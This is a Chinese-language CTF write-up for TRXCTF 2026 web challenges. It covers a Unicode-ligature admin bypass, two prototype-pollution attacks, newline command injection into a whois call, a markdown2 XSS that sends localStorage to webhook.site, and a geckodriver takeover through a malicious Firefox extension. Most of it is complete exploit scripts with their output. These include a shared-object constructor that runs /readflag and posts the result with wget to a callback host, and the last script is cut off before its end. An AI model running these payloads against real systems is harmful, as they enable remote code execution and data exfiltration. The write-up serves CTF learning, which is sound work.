TRX2026

Thu, 07 May 2026 00:00:00 +0000

借用n1的wp

StifflingFluffiness

源码里 admin 判断是：

req.session.isAdmin=username.toUpperCase()===ADMIN_USERNAME.toUpperCase();

但用户名限制是：

username.length>=4&&username.length<=12

真正 admin 是：

StifflingFluffiness

长度 19，正常输入不可能通过长度限制。但 JavaScript 的 toUpperCase() 会把某些 Unicode 连字展开成多个 ASCII 字母，例如：

ﬆ  -> ST
ﬄ  -> FFL
ﬂ  -> FL
ﬃ  -> FFI
ß  -> SS

所以可以构造 12 长度的用户名：

ﬆiﬄingﬂuﬃneß

TRX{m4yb3_my_fluffy_bl0g_n33d3d_b3773r_s3curi7y}

Junkiness

服务端使用 express.urlencoded({ extended: true }) 解析表单，请求体里的嵌套字段会被解析成数组或对象。注册接口只限制了 username 的长度和字符：

if (username.length > 8) {
    return res.status(400).json({ message: "Username must not be longer than 8 characters." });
}

if (/\\\\W/.test(username)) {
    return res.status(400).json({ message: "Username must be an alphanumeric string." });
}

users[username] = { username, password, isAdmin: false };

username[]=__proto__ 被解析成数组 ["__proto__"]。数组长度为 1，正则检查时会转成字符串 __proto__，可以通过过滤。写入 users[username] 时，数组作为属性名转成字符串，于是变成对 users["__proto__"] 赋值，修改了 users 对象的原型。

注册时把 password 构造成对象：

username[]=__proto__&password[password]=p&password[isAdmin]=true

注册完成后，users 的原型里存在：

{
  username: ["__proto__"],
  password: {
    password: "p",
    isAdmin: "true"
  },
  isAdmin: false
}

登录接口会执行：

const user = users[username];

if (user.password !== password) {
    return res.status(401).json({ message: "Invalid password." });
}

req.session.user = user;

使用 username=password&password=p 登录时，users["password"] 会从原型上取到对象 { password: "p", isAdmin: "true" }。密码校验通过后，这个对象被写入 session。访问 /flag 时，req.session.user.isAdmin 为真值，服务端返回 flag。

exp

#!/usr/bin/env python3
import http.cookiejar
import json
import sys
import urllib.error
import urllib.parse
import urllib.request

def request(opener, method, url, body=None, content_type=None):
    data = None
    headers = {}
    if body is not None:
        data = body.encode()
        headers["Content-Type"] = content_type or "application/x-www-form-urlencoded"

    req = urllib.request.Request(url, data=data, headers=headers, method=method)
    try:
        with opener.open(req, timeout=10) as resp:
            return resp.status, resp.read().decode()
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()

def main():
    base = sys.argv[1] if len(sys.argv) > 1 else "<http://127.0.0.1:3000>"
    base = base.rstrip("/")

    jar = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))

    register_body = "username[]=__proto__&password[password]=p&password[isAdmin]=true"
    status, text = request(opener, "POST", base + "/register", register_body)
    print(f"[+] register: {status} {text}")
    if status not in (200, 201, 409):
        raise SystemExit("registration step failed")

    login_body = urllib.parse.urlencode({"username": "password", "password": "p"})
    status, text = request(opener, "POST", base + "/login", login_body)
    print(f"[+] login: {status} {text}")
    if status != 200:
        raise SystemExit("login step failed")

    status, text = request(opener, "GET", base + "/flag")
    print(f"[+] flag: {status} {text}")
    if status != 200:
        raise SystemExit("flag request failed")

    try:
        value = json.loads(text)
        if isinstance(value, dict):
            value = value.get("flag", value)
        print(value)
    except json.JSONDecodeError:
        print(text)

if __name__ == "__main__":
    main()
 
#[+] register: 201 {"message":"User registered successfully."}

#[+] login: 200 {"message":"Login successful."}

#[+] flag: 200 "TRX{j4v4scrip7_c4n_b3_j4nky_s0m37im3s}"

Who Is He

应用是一个 Sinatra 的 Whois 查询服务，核心逻辑如下：

post '/lookup' do
  @domain = params[:domain]
  if @domain && @domain.match?(/^[a-z.-]+$/)
    stdout, stderr, status = Open3.capture3("whois #{@domain}")
    @result = stdout.empty? ? stderr : stdout
    @success = status.success?
  else
    @error = "Invalid domain format"
  end
  erb :result
end

过滤规则看起来只允许小写字母、点和横线，但 Ruby 正则里的 ^ 和 $ 是按行匹配的锚点。只要参数中存在一行满足 ^[a-z.-]+$，match? 就会返回真。这样就可以把第一行伪装成合法内容，随后通过换行继续注入 shell 命令。

镜像中还有一个 setuid 程序用于读取 flag，它要求传入固定参数：

strcmp(argv[1], "could you please give me the flag thank you so much")

为了让第一条命令稳定快速结束，可以让合法行使用 --version，它会被拼成 whois --version。换行后的第二条命令执行读 flag 程序：

--version
/readflag "could you please give me the flag thank you so much"

发送到接口时，表单字段 domain 使用上面的换行载荷。服务端正则会匹配第一行 --version，随后 Open3.capture3("whois #{payload}") 以命令字符串方式执行，shell 会依次执行 whois --version 和 /readflag "could you please give me the flag thank you so much"。

exp

#!/usr/bin/env python3
import argparse
import html
import re
import sys
import urllib.parse
import urllib.request

PAYLOAD = '--version\\\\n/readflag "could you please give me the flag thank you so much"'

def exploit(base_url: str) -> str:
    base_url = base_url.rstrip("/")
    data = urllib.parse.urlencode({"domain": PAYLOAD}).encode()
    request = urllib.request.Request(
        f"{base_url}/lookup",
        data=data,
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        method="POST",
    )

    with urllib.request.urlopen(request, timeout=10) as response:
        body = response.read().decode("utf-8", errors="replace")

    body = html.unescape(body)
    match = re.search(r"TRX\\\\{[^}\\\\r\\\\n]+\\\\}", body)
    if not match:
        raise RuntimeError("flag not found in response:\\\\n" + body)
    return match.group(0)

def main() -> int:
    parser = argparse.ArgumentParser(description="Exploit WHOISHE command injection")
    parser.add_argument("url", nargs="?", default="<http://127.0.0.1:1337>")
    args = parser.parse_args()

    print(exploit(args.url))
    return 0

if __name__ == "__main__":
    sys.exit(main())

TRX{wh4t_d03s_h3_d0????}

markdown2

题目会让 bot 先访问 http://localhost:1337，把 Flag 写入这个源的 localStorage.flag，随后访问提交给 /report 的 URL。利用目标是在 http://localhost:1337 页面中执行脚本，读取 localStorage.flag 并跳转到回收地址。

服务端渲染逻辑为：

safe_md = bleach.clean(
    md,
    tags=[],
    attributes={},
    protocols=[],
    strip=True,
    strip_comments=True,
)

html = Markup(markdown2.markdown(safe_md, safe_mode="escape"))

输入先经过 bleach，之后再交给 markdown2 转成 HTML。bleach 只能处理输入里已经存在的 HTML 标签，Markdown 语法生成的新标签由 markdown2 自己负责安全处理。

markdown2 在 safe mode 中会用形如 md5-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 的占位符临时保护代码片段、URL 等内容。这个 hash 使用进程级随机盐生成，同一个进程内相同内容的 hash 保持稳定。图片 alt 中的代码片段可以泄露这个内部 hash：

![`" onerror=location=String.fromCharCode(...)+encodeURIComponent(localStorage.flag)//`](x)

返回 HTML 中会出现类似内容：

<img src="x" alt="&lt;code&gt;md5-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&lt;/code&gt;" />

拿到 hash 后，第二次请求把图片放在前面，把相同代码片段放在后面：

![](md5-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)

`" onerror=location=String.fromCharCode(...)+encodeURIComponent(localStorage.flag)//`

图片 URL 先被当作普通字符串处理。后面的代码片段再把相同 hash 加入 markdown2 的代码表。最终反解占位符时，图片的 src 值会被还原成原始代码片段，生成真实的事件属性：

<img src="" onerror=location=String.fromCharCode(...)+encodeURIComponent(localStorage.flag)//" alt="" />

页面 CSP 中 default-src 'none' 会阻止图片加载，浏览器触发 error 事件；script-src 'self' 'unsafe-inline' 允许内联事件执行，于是 onerror 可以读取 localStorage.flag 并跳转到回收地址。

远程利用时，第一阶段 hash 泄露可以访问公网题目域名。第二阶段提交给 /report 的 URL 必须使用 bot 容器内的同源地址：

<http://localhost:1337/?markdown=><第二阶段 payload>

exp：

import argparse
import re
import threading
import time
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from urllib.parse import quote

import requests

captured = []

class Collector(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        return

    def do_GET(self):
        captured.append(self.path)
        self.send_response(204)
        self.end_headers()

def normalize_base(url: str) -> str:
    return url.rstrip("/") + "/"

def js_for_callback(callback_prefix: str) -> str:
    codes = ",".join(str(ord(ch)) for ch in callback_prefix)
    return (
        f"location=String.fromCharCode({codes})+"
        "encodeURIComponent(localStorage.flag)//"
    )

def make_code(callback_prefix: str) -> str:
    return '" onerror=' + js_for_callback(callback_prefix)

def make_leak_payload(callback_prefix: str) -> str:
    code = make_code(callback_prefix)
    return f"![`{code}`](x)"

def make_exploit_payload(leaked_hash: str, callback_prefix: str) -> str:
    code = make_code(callback_prefix)
    return f"![]({leaked_hash})\\n\\n`{code}`"

def leak_hash(target: str, callback_prefix: str) -> str:
    base = normalize_base(target)
    payload = make_leak_payload(callback_prefix)
    resp = requests.get(base + "?markdown=" + quote(payload, safe=""), timeout=15)
    resp.raise_for_status()
    match = re.search(r"md5-[0-9a-f]{32}", resp.text)
    if not match:
        raise RuntimeError("failed to leak markdown2 hash")
    return match.group(0)

def submit_report(target: str, victim_base: str, payload: str) -> str:
    report_url = normalize_base(target) + "report"
    victim_url = normalize_base(victim_base) + "?markdown=" + quote(payload, safe="")
    resp = requests.post(report_url, data={"url": victim_url}, timeout=15)
    resp.raise_for_status()
    print(f"[+] victim url: {victim_url}")
    print(f"[+] report response: {resp.text}")
    return victim_url

def create_webhook_site_token() -> str:
    resp = requests.post("<https://webhook.site/token>", timeout=15)
    resp.raise_for_status()
    return resp.json()["uuid"]

def poll_webhook_site(token: str, timeout: int) -> str | None:
    api = f"<https://webhook.site/token/{token}/requests>"
    deadline = time.time() + timeout
    while time.time() < deadline:
        time.sleep(1)
        resp = requests.get(api, timeout=15)
        resp.raise_for_status()
        data = resp.json().get("data", [])
        for item in data:
            query = item.get("query") or {}
            if "flag" in query:
                return query["flag"]
            url = item.get("url") or ""
            if "flag=" in url:
                return url.split("flag=", 1)[1]
    return None

def main() -> None:
    parser = argparse.ArgumentParser(description="TRXCTF markdown2 exploit")
    parser.add_argument("target", help="public challenge base URL")
    parser.add_argument(
        "--victim-base",
        default="<http://localhost:1337>",
        help="URL visited by the bot; keep localhost for the remote challenge",
    )
    parser.add_argument("--callback", help="public callback prefix ending before the flag")
    parser.add_argument("--webhook-site", action="store_true", help="create and poll a webhook.site callback")
    parser.add_argument("--listen", action="store_true", help="start a local collector for local testing")
    parser.add_argument("--listen-host", default="0.0.0.0")
    parser.add_argument("--listen-port", type=int, default=8000)
    parser.add_argument("--timeout", type=int, default=20)
    args = parser.parse_args()

    server = None
    token = None

    if args.webhook_site:
        token = create_webhook_site_token()
        callback = f"<https://webhook.site/{token}/?flag=>"
        print(f"[+] webhook: {callback}")
    elif args.callback:
        callback = args.callback
    elif args.listen:
        callback = f"<http://127.0.0.1>:{args.listen_port}/collect?flag="
    else:
        raise SystemExit("provide --webhook-site, --callback, or --listen")

    if args.listen:
        server = ThreadingHTTPServer((args.listen_host, args.listen_port), Collector)
        threading.Thread(target=server.serve_forever, daemon=True).start()

    leaked = leak_hash(args.target, callback)
    print(f"[+] leaked hash: {leaked}")

    payload = make_exploit_payload(leaked, callback)
    submit_report(args.target, args.victim_base, payload)

    if token:
        flag = poll_webhook_site(token, args.timeout)
        print(f"[+] flag: {flag}" if flag else "[-] no webhook callback received")

    if args.listen:
        deadline = time.time() + args.timeout
        while time.time() < deadline and not captured:
            time.sleep(0.2)
        print(f"[+] callback: {captured[0]}" if captured else "[-] no local callback received")
        server.shutdown()

if __name__ == "__main__":
    main()

# Active code page: 65001
# [+] webhook: <https://webhook.site/b947bedb-4273-4f16-ae0c-d19aacb8207b/?flag=>
# [+] leaked hash: md5-3aaa0de9027a6884f27e62b5cc2346a3
# [+] victim url: <http://localhost:1337/?markdown=%21%5B%5D%28md5-3aaa0de9027a6884f27e62b5cc2346a3%29%0A%0A%60%22%20onerror%3Dlocation%3DString.fromCharCode%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C119%2C101%2C98%2C104%2C111%2C111%2C107%2C46%2C115%2C105%2C116%2C101%2C47%2C98%2C57%2C52%2C55%2C98%2C101%2C100%2C98%2C45%2C52%2C50%2C55%2C51%2C45%2C52%2C102%2C49%2C54%2C45%2C97%2C101%2C48%2C99%2C45%2C100%2C49%2C57%2C97%2C97%2C99%2C98%2C56%2C50%2C48%2C55%2C98%2C47%2C63%2C102%2C108%2C97%2C103%2C61%29%2BencodeURIComponent%28localStorage.flag%29%2F%2F%60>
# [+] report response: {"result":"Visiting..."}

# [+] flag: TRX{n0t_s0_s4f3_m0d3_dwiudwahyudyusaidwqjn}
# [+] webhook: <https://webhook.site/b947bedb-4273-4f16-ae0c-d19aacb8207b/?flag=>
# [+] leaked hash: md5-3aaa0de9027a6884f27e62b5cc2346a3
# [+] victim url: <http://localhost:1337/?markdown=%21%5B%5D%28md5-3aaa0de9027a6884f27e62b5cc2346a3%29%0A%0A%60%22%20onerror%3Dlocation%3DString.fromCharCode%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C119%2C101%2C98%2C104%2C111%2C111%2C107%2C46%2C115%2C105%2C116%2C101%2C47%2C98%2C57%2C52%2C55%2C98%2C101%2C100%2C98%2C45%2C52%2C50%2C55%2C51%2C45%2C52%2C102%2C49%2C54%2C45%2C97%2C101%2C48%2C99%2C45%2C100%2C49%2C57%2C97%2C97%2C99%2C98%2C56%2C50%2C48%2C55%2C98%2C47%2C63%2C102%2C108%2C97%2C103%2C61%29%2BencodeURIComponent%28localStorage.flag%29%2F%2F%60>
# [+] report response: {"result":"Visiting..."}

# [+] flag: TRX{n0t_s0_s4f3_m0d3_dwiudwahyudyusaidwqjn}

short-notes

服务端自己实现了一套查询字符串解析：

function parseQuery(qs = '') {
  const out = {};
  for (const pair of qs.split('&')) {
    if (!pair) continue;
    let [k, v = ''] = pair.split('=');
    k = decodeURIComponent(k.replace(/\\\\+/g, ' '));
    v = decodeURIComponent(v.replace(/\\\\+/g, ' '));
    const parts = k.split(/\\\\[|\\\\]/).filter(Boolean);
    let cur = out;
    for (let i = 0; i < parts.length - 1; i++) {
      cur = cur[parts[i]] = cur[parts[i]] || {};
    }
    cur[parts.at(-1)] = v;
  }
  return out;
}

这段代码没有过滤 __proto__，可以把属性写进 Object.prototype。

笔记标题只检查类型和长度，不过滤 . 和 /：

const validateTitle = t => {
  if (!t)
    throw new Error('Title required');
  if (typeof t !== 'string')
    throw new Error('Title must be a string');
  if (t.length > 8)
    throw new Error('Title too long (max 8 chars)');
  return t;
};

创建和读取笔记时都直接把标题拼到临时目录后面：

const file = t => path.join(STORE, t);

../../se 正好是 8 个字符，所以既能通过校验，又能从临时目录逃到根目录，最后落成 /se。

读取笔记时会走 h.file()，底层是 @hapi/inert。如果 lookupCompressed 为真，lookupMap 里又存在当前编码对应的后缀，Inert 会把这个后缀直接拼到原始路径后面重新打开文件：

if (settings.lookupCompressed &&
    !settings.start &&
    settings.end === undefined &&
    request.server.settings.compression !== false) {

    const lookupMap = settings.lookupMap ?? internals.defaultMap;
    const encoding = request.info.acceptEncoding;
    const extension = lookupMap.hasOwnProperty(encoding) ? lookupMap[encoding] : null;
    if (extension) {
        const precompressed = new Fs.File(`${source.path}${extension}`);
        var stat = await precompressed.openStat('r');
        ...
    }
}

这里的关键点是 settings.lookupCompressed 和 settings.lookupMap 都会走原型链取值。于是可以先污染：

Object.prototype.lookupCompressed = 1
Object.prototype.lookupMap.identity = 'crets/super_secret_flag.txt'

这样当原始路径是 /se，并且请求头里带 Accept-Encoding: identity 时，Inert 最终会去打开：

/se + crets/super_secret_flag.txt
= /secrets/super_secret_flag.txt

利用步骤

先创建一个标题为 ../../se 的笔记，让服务端在根目录生成锚点文件 /se。
通过查询字符串原型污染，把 lookupCompressed 和 lookupMap.identity 写进 Object.prototype。
请求 /note/%2E%2E%2F%2E%2E%2Fse，并指定 Accept-Encoding: identity，让 Inert 走到拼接后的真实 Flag 路径。

对应请求如下：

POST /notes HTTP/1.1
Content-Type: application/json

{"title":"../../se","content":"anchor"}
GET /?__proto__[lookupCompressed]=1&__proto__[lookupMap][identity]=crets%2Fsuper_secret_flag.txt HTTP/1.1
GET /note/%2E%2E%2F%2E%2E%2Fse HTTP/1.1
Accept-Encoding: identity

Exp

#!/usr/bin/env python3

import argparse
import sys

import requests

ANCHOR_TITLE = "../../se"
ANCHOR_CONTENT = "anchor"
ENCODED_ANCHOR = "%2E%2E%2F%2E%2E%2Fse"
POLLUTION_PATH = "/?__proto__[lookupCompressed]=1&__proto__[lookupMap][identity]=crets%2Fsuper_secret_flag.txt"

def fail(message: str) -> int:
    print(f"[!] {message}", file=sys.stderr)
    return 1

def main() -> int:
    parser = argparse.ArgumentParser(description="Exploit for TRXCTF Short Notes")
    parser.add_argument(
        "base_url",
        nargs="?",
        default="<http://66020310f456.short-notes.ctf.theromanxpl0.it>",
        help="Target base URL, for example <http://127.0.0.1:3000>",
    )
    args = parser.parse_args()
    base_url = args.base_url.rstrip("/")

    session = requests.Session()
    timeout = 10

    create = session.post(
        f"{base_url}/notes",
        json={"title": ANCHOR_TITLE, "content": ANCHOR_CONTENT},
        timeout=timeout,
    )
    if create.status_code not in (201, 409):
        return fail(f"anchor creation failed: {create.status_code} {create.text}")
    print(f"[+] anchor ready with status {create.status_code}")

    pollute = session.get(f"{base_url}{POLLUTION_PATH}", timeout=timeout)
    if pollute.status_code != 200:
        return fail(f"prototype pollution request failed: {pollute.status_code} {pollute.text}")
    print("[+] prototype polluted")

    leak = session.get(
        f"{base_url}/note/{ENCODED_ANCHOR}",
        headers={"Accept-Encoding": "identity"},
        timeout=timeout,
    )
    if leak.status_code != 200:
        return fail(f"flag read failed: {leak.status_code} {leak.text}")

    body = leak.text.strip()
    print("[+] response body:")
    print(body)
    return 0

if __name__ == "__main__":
    raise SystemExit(main())

# PS D:\\CTF\\2026 0425-0427 TRXCTF\\web-short-notes> & D:/Env/Python311/python.exe "d:/CTF/2026 0425-0427 TRXCTF/web-short-notes/result/Exp/exploit.py"                               
# [+] anchor ready with status 201                                                         
# [+] prototype polluted                                                                   
# [+] response body:                                                                       
# TRX{<https://www.youtube.com/watch?v=OWbtxdq5rvQ>}  

geckodrce

服务是一个 FastAPI bot，核心接口只有 POST /visit。用户上传 Firefox 扩展包后，服务把文件保存成临时 XPI，然后启动 headless Firefox，通过 geckodriver 临时安装该扩展。

@app.post("/visit")
async def visit(extension: UploadFile = File(...)):
    if not extension.filename:
        raise HTTPException(status_code=400, detail="No extension uploaded")

    with tempfile.TemporaryDirectory(prefix="bot_", dir="/tmp") as td:
        ext_path = Path(td) / "extension.xpi"
        await save_upload(extension, ext_path)
        await asyncio.to_thread(run_webdriver, str(ext_path))

    return {"status": "success"}

Firefox 启动参数里禁用了 Wasm 和 JIT，扩展安装后会停留 60 秒：

def run_webdriver(ext_path: str) -> None:
    opts = Options()
    opts.binary_location = "/usr/bin/firefox"
    opts.add_argument("-headless")
    opts.set_preference("javascript.options.wasm", False)
    opts.set_preference("javascript.options.baselinejit", False)
    opts.set_preference("javascript.options.ion", False)
    opts.set_preference("javascript.options.asmjs", False)

    service = Service(executable_path="/usr/bin/geckodriver")
    driver = webdriver.Firefox(options=opts, service=service)
    try:
        addon_id = driver.install_addon(ext_path, temporary=True)
        time.sleep(60)
        driver.uninstall_addon(addon_id)
    except Exception:
        pass
    finally:
        driver.quit()

容器中存在 SUID 程序 /readflag，只要以参数 pls 调用它，就会读取 /flag.txt：

int main(int argc, char *argv[]) {
  if (argc != 2 || strcmp(argv[1], "pls") != 0) {
    write(1, "ask politely :(\\\\n", 16);
    return 1;
  }

  int fd = open("/flag.txt", O_RDONLY);
  if (fd < 0) return 1;

  char buf[128];
  ssize_t n = read(fd, buf, sizeof(buf));
  if (n > 0) write(1, buf, (size_t)n);

  close(fd);
  return 0;
}

因此目标变成：让上传的扩展在 bot 容器里触发本地命令执行，运行 /readflag pls 并把输出带出。

漏洞思路

Selenium 启动 Firefox 时会启动一个本地 geckodriver 服务，监听 127.0.0.1:<随机端口>。上传的扩展运行在同一个 Firefox 里，并且可以带 <all_urls> 权限访问本机 HTTP 服务。

访问 geckodriver 的 /status 可以识别端口：

{"value":{"message":"Session already started","ready":false}}

当前 Selenium session 结束后，geckodriver 会短暂进入可创建新 session 的状态。扩展持续向这个端口发送：

POST /session

即可抢先创建一个新的 Firefox session。

直接从扩展请求 geckodriver 会遇到 Origin 校验。Firefox WebExtension 可以用 webRequestBlocking 修改请求头，在请求发出前删除 Origin：

browser.webRequest.onBeforeSendHeaders.addListener(
  details => ({
    requestHeaders: details.requestHeaders.filter(
      h => h.name.toLowerCase() !== "origin"
    )
  }),
  {urls: ["<http://127.0.0.1/*>", "<http://localhost/*>"]},
  ["blocking", "requestHeaders"]
);

新建 session 时可以传入 Firefox profile。profile 中的 pkcs11.txt 能指定 NSS 需要加载的 PKCS#11 模块：

library=
name=NSS Internal PKCS #11 Module
parameters=configdir='sql:.' certPrefix='' keyPrefix='' secmod='secmod.db' flags=readOnly
NSS=trustOrder=75 cipherOrder=100

library=/home/bot/Downloads/pwn.so
name=geckodrce
parameters=
NSS=trustOrder=100 cipherOrder=100

扩展先把自带的 pwn.so 下载到默认下载目录：

await browser.downloads.download({
  url: browser.runtime.getURL("pwn.so"),
  filename: "pwn.so",
  conflictAction: "overwrite",
  saveAs: false
});

然后创建带恶意 profile 的新 session：

const payload = JSON.stringify({
  capabilities: {
    alwaysMatch: {
      browserName: "firefox",
      "moz:firefoxOptions": {
        binary: "/usr/bin/firefox",
        args: ["-headless"],
        profile: PROFILE_B64
      }
    }
  }
});

fetch(`http://127.0.0.1:${port}/session`, {
  method: "POST",
  headers: {"Content-Type": "application/json"},
  body: payload
});

Firefox 启动时读取 pkcs11.txt，NSS 加载 /home/bot/Downloads/pwn.so，动态库 constructor 自动执行：

__attribute__((constructor)) static void geckodrce_init(void) {
    if (getenv("GECKODRCE_DONE") != NULL) return;
    setenv("GECKODRCE_DONE", "1", 1);

    pid_t pid = fork();
    if (pid != 0) return;

    setsid();
    execl("/bin/sh", "sh", "-c",
          "flag=/tmp/geckodrce_flag; "
          "/readflag pls > \\\\"$flag\\\\" 2>/tmp/geckodrce_err; "
          "wget -q -O- --post-file=\\\\"$flag\\\\" CALLBACK >/dev/null 2>&1",
          (char *)0);
    _exit(0);
}

Race 方式

/visit 中原始 Selenium session 会占用 geckodriver，大约 60 秒后才释放。单个扩展很难稳定抢到自己的 geckodriver，因此使用多分片、多波次上传。

端口分片：

30000-38750
38751-47500
47501-56250
56251-65000

每个 XPI 扫描一段端口，发现 /status 命中后持续对该端口发送 /session。第一波上传负责制造可抢占的 geckodriver，第二波延迟约 20 秒上传，在第一波接近退出时已经完成扫描并开始抢占。抢到 session 后，带 pkcs11.txt 的 Firefox profile 会加载恶意 .so，执行 /readflag pls，再把 flag 发到回连地址。

exp:

#!/usr/bin/env python3
import argparse
import base64
import http.server
import io
import json
import os
import queue
import re
import shutil
import socketserver
import subprocess
import sys
import tempfile
import threading
import time
import urllib.parse
import urllib.request
import uuid
import zipfile
from pathlib import Path

DEFAULT_TARGET = "<http://e5653b6f1fe2.geckodrce.ctf.theromanxpl0.it>"
DEFAULT_SHARDS = "30000-38750,38751-47500,47501-56250,56251-65000"
DOWNLOAD_PATH = "/home/bot/Downloads/pwn.so"
MAX_XPI_SIZE = 1024 * 1024
FLAG_RE = re.compile(r"TRX\\{[^}\\r\\n]*\\}")

PWN_C_TEMPLATE = r"""
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) static void geckodrce_init(void) {
    if (getenv("GECKODRCE_DONE") != NULL) {
        return;
    }
    setenv("GECKODRCE_DONE", "1", 1);

    pid_t pid = fork();
    if (pid != 0) {
        return;
    }

    setsid();
    execl("/bin/sh", "sh", "-c", __COMMAND_LITERAL__, (char *)0);
    _exit(0);
}
"""

BACKGROUND_JS = r"""
const LO = __LO__;
const HI = __HI__;
const CONCURRENCY = __CONCURRENCY__;
const CALLBACK_URL = __CALLBACK_URL__;
const PROFILE_B64 = __PROFILE_B64__;

const payload = JSON.stringify({
  capabilities: {
    alwaysMatch: {
      browserName: "firefox",
      "moz:firefoxOptions": {
        binary: "/usr/bin/firefox",
        args: ["-headless"],
        profile: PROFILE_B64
      }
    }
  }
});

const candidates = new Set();
const watching = new Set();

function sleep(ms) {
  return new Promise(resolve => setTimeout(resolve, ms));
}

async function report(kind, data) {
  if (!CALLBACK_URL) return;
  const body = JSON.stringify({kind, data, shard: [LO, HI], when: Date.now()});
  try {
    await fetch(CALLBACK_URL, {
      method: "POST",
      headers: {"Content-Type": "application/json"},
      body
    });
  } catch (e) {
    try {
      await fetch(CALLBACK_URL + "?d=" + encodeURIComponent(body), {
        mode: "no-cors",
        cache: "no-store"
      });
    } catch (_) {}
  }
}

browser.webRequest.onBeforeSendHeaders.addListener(
  details => {
    const headers = (details.requestHeaders || []).filter(
      h => h.name.toLowerCase() !== "origin"
    );
    return {requestHeaders: headers};
  },
  {
    urls: [
      "<http://127.0.0.1/*>",
      "<http://localhost/*>"
    ]
  },
  ["blocking", "requestHeaders"]
);

async function downloadSharedObject() {
  return new Promise(resolve => {
    let downloadId = null;
    let done = false;

    function finish(value) {
      if (done) return;
      done = true;
      try { browser.downloads.onChanged.removeListener(onChanged); } catch (_) {}
      resolve(value);
    }

    function onChanged(delta) {
      if (downloadId === null || delta.id !== downloadId) return;
      if (delta.state && delta.state.current === "complete") finish(true);
      if (delta.error) finish(false);
    }

    browser.downloads.onChanged.addListener(onChanged);
    browser.downloads.download({
      url: browser.runtime.getURL("pwn.so"),
      filename: "pwn.so",
      conflictAction: "overwrite",
      saveAs: false
    }).then(id => {
      downloadId = id;
    }).catch(async e => {
      await report("download-error", String(e && (e.message || e)));
      finish(false);
    });

    setTimeout(() => finish(true), 5000);
  });
}

async function fetchWithTimeout(url, options, timeoutMs) {
  const controller = new AbortController();
  const timer = setTimeout(() => controller.abort(), timeoutMs);
  try {
    const merged = Object.assign({}, options || {}, {signal: controller.signal});
    return await fetch(url, merged);
  } finally {
    clearTimeout(timer);
  }
}

async function probePort(port) {
  try {
    const r = await fetchWithTimeout(
      "<http://127.0.0.1>:" + port + "/status",
      {cache: "no-store"},
      350
    );
    const text = await r.text();
    if (text.includes('"ready"') || text.includes("Session already started")) {
      if (!candidates.has(port)) {
        candidates.add(port);
        await report("candidate", {port, status: text.slice(0, 200)});
      }
      watchPort(port);
      return true;
    }
  } catch (_) {}
  return false;
}

async function createSession(port) {
  try {
    const r = await fetchWithTimeout(
      "<http://127.0.0.1>:" + port + "/session",
      {
        method: "POST",
        cache: "no-store",
        headers: {"Content-Type": "application/json"},
        body: payload
      },
      5000
    );
    const text = await r.text();
    if (text.includes("sessionId") || text.includes('"sessionId"')) {
      await report("session-created", {port, response: text.slice(0, 500)});
      return true;
    }
  } catch (_) {}
  return false;
}

function watchPort(port) {
  if (watching.has(port)) return;
  watching.add(port);

  (async () => {
    const deadline = Date.now() + 125000;
    while (Date.now() < deadline) {
      await createSession(port);
      await sleep(70 + Math.floor(Math.random() * 80));
    }
  })();
}

async function scanRange() {
  let next = LO;
  async function worker() {
    while (true) {
      const port = next++;
      if (port > HI) return;
      await probePort(port);
    }
  }
  await Promise.all(Array.from({length: CONCURRENCY}, () => worker()));
}

(async () => {
  await report("started", {lo: LO, hi: HI});
  const downloaded = await downloadSharedObject();
  await report("downloaded-so", {ok: downloaded});
  await scanRange();
  await report("scan-finished", {candidateCount: candidates.size, candidates: Array.from(candidates)});

  while (true) {
    for (const port of Array.from(candidates)) {
      createSession(port);
    }
    await sleep(250);
  }
})();
"""

class ReusableTCPServer(socketserver.TCPServer):
    allow_reuse_address = True

class CallbackHandler(http.server.BaseHTTPRequestHandler):
    inbox = None

    def _ok(self, body=b"ok\\n"):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain; charset=utf-8")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        parsed = urllib.parse.urlsplit(self.path)
        data = urllib.parse.parse_qs(parsed.query).get("d", [""])[0]
        if data:
            self.inbox.put(data)
        self._ok()

    def do_POST(self):
        n = int(self.headers.get("Content-Length", "0") or "0")
        raw = self.rfile.read(n)
        text = raw.decode(errors="replace")
        self.inbox.put(text)
        self._ok()

    def log_message(self, fmt, *args):
        sys.stderr.write("[callback] " + (fmt % args) + "\\n")

def shell_quote(value: str) -> str:
    return "'" + value.replace("'", "'\\"'\\"'") + "'"

def c_string(value: str) -> str:
    return json.dumps(value)

def make_command(callback_url: str) -> str:
    quoted = shell_quote(callback_url)
    return (
        "flag=/tmp/geckodrce_flag; "
        "/readflag pls > \\"$flag\\" 2>/tmp/geckodrce_err; "
        "(wget -q -O- --post-file=\\"$flag\\" {url} || "
        "busybox wget -q -O- --post-file=\\"$flag\\" {url}) "
        ">/dev/null 2>&1"
    ).format(url=quoted)

def write_payload_source(path: Path, callback_url: str) -> None:
    command = make_command(callback_url)
    source = PWN_C_TEMPLATE.replace("__COMMAND_LITERAL__", c_string(command))
    path.write_text(source, encoding="utf-8")

def run_checked(cmd, cwd: Path) -> None:
    print("[*]", " ".join(str(x) for x in cmd))
    subprocess.run(cmd, cwd=str(cwd), check=True)

def compile_shared_object(workdir: Path, c_path: Path, so_path: Path) -> None:
    if os.name != "nt" and shutil.which("gcc"):
        cmd = ["gcc", "-shared", "-fPIC", "-Os", str(c_path), "-o", str(so_path)]
        run_checked(cmd, workdir)
        if shutil.which("strip"):
            subprocess.run(["strip", str(so_path)], cwd=str(workdir), check=False)
        return

    if shutil.which("docker"):
        volume = f"{workdir.resolve()}:/work"
        script = (
            "apk add --no-cache build-base >/dev/null && "
            "gcc -shared -fPIC -Os /work/pwn.c -o /work/pwn.so && "
            "strip /work/pwn.so"
        )
        run_checked(
            ["docker", "run", "--rm", "-v", volume, "-w", "/work", "alpine:3.23", "/bin/sh", "-lc", script],
            workdir,
        )
        return

    raise RuntimeError("no Linux gcc or docker found; pass --so with a musl-compatible shared object")

